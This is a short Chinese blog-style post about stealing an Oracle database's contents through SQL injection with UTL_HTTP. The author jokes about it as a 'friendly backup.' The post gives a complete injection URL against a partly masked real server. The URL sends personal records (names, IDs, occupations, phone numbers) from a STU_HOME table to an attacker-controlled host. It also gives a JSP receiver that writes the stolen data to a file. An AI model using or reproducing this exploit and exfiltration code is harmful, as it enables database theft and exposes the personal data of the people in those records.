Oracle UTL_HTTP 注入点友情备份数据库
很多人只听说过用UTL_HTTP注入Oracle,似乎没看见有人用UTL_HTTP脱裤?
UTL_HTTP 会查询数据库并带着查询的结果去请求我们的URL,也就是我注入点上写的URL。请注意:UTL_HTTP是一条一条的去请求的,所以会跟数据库保持一个长连接。而数据量过大的话会导致数据丢失,如果想完整的友情备份这种方法并不是特别可行。
只有在浏览器上请求这个注入点Oracle会自动的把自己的裤子送上门来那种感觉非常的好。
Oracle:
http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME)接收:
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%> <%@page import="java.io.BufferedWriter"%> <%@page import="java.io.FileWriter"%> <%@page import="java.io.File"%> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>My JSP 'mysql.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <% String data=new String(request.getParameter("data").getBytes("ISO-8859-1"),"utf-8"); BufferedWriter bw=new BufferedWriter(new FileWriter(new File("e:/req.txt"),true)); //bw.write("Ip:"+CheckSqlInjection.getIpAddr(request)); //bw.newLine(); System.out.println("Data:"+data); bw.write(data); bw.newLine(); bw.flush(); bw.close(); %> </body> </html>